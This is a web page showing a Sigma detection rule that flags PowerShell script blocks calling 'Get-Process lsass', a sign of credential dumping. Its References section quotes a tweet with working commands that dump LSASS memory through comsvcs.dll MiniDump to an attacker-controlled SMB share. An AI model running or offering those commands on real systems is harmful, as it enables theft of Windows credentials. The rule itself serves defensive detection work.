PowerShell Get-Process LSASS in ScriptBlock

calendar Aug 12, 2024 · attack.credential-access attack.t1003.001  ·
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Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity

Sigma rule (View on GitHub)

 1title: PowerShell Get-Process LSASS in ScriptBlock
 2id: 84c174ab-d3ef-481f-9c86-a50d0b8e3edb
 3status: test
 4description: Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity
 5references:
 6    - https://web.archive.org/web/20220205033028/https://twitter.com/PythonResponder/status/1385064506049630211
 7author: Florian Roth (Nextron Systems)
 8date: 2021-04-23
 9modified: 2022-12-25
10tags:
11    - attack.credential-access
12    - attack.t1003.001
13logsource:
14    product: windows
15    category: ps_script
16    definition: 'Requirements: Script Block Logging must be enabled'
17detection:
18    selection:
19        ScriptBlockText|contains: 'Get-Process lsass'
20    condition: selection
21falsepositives:
22    - Legitimate certificate exports invoked by administrators or users (depends on processes in the environment - filter if unusable)
23level: high

References

  • Responder on Twitter

    “Remote LSASS dump without touching local disk? Yes :) On target run: 1) net use x: \\smbserver_under_your_control\c$\ 2) powershell -c rundll32.exe C:\windows\System32\comsvcs.dll MiniDump (Get-Process lsass).id x:\lassdump.bin full”


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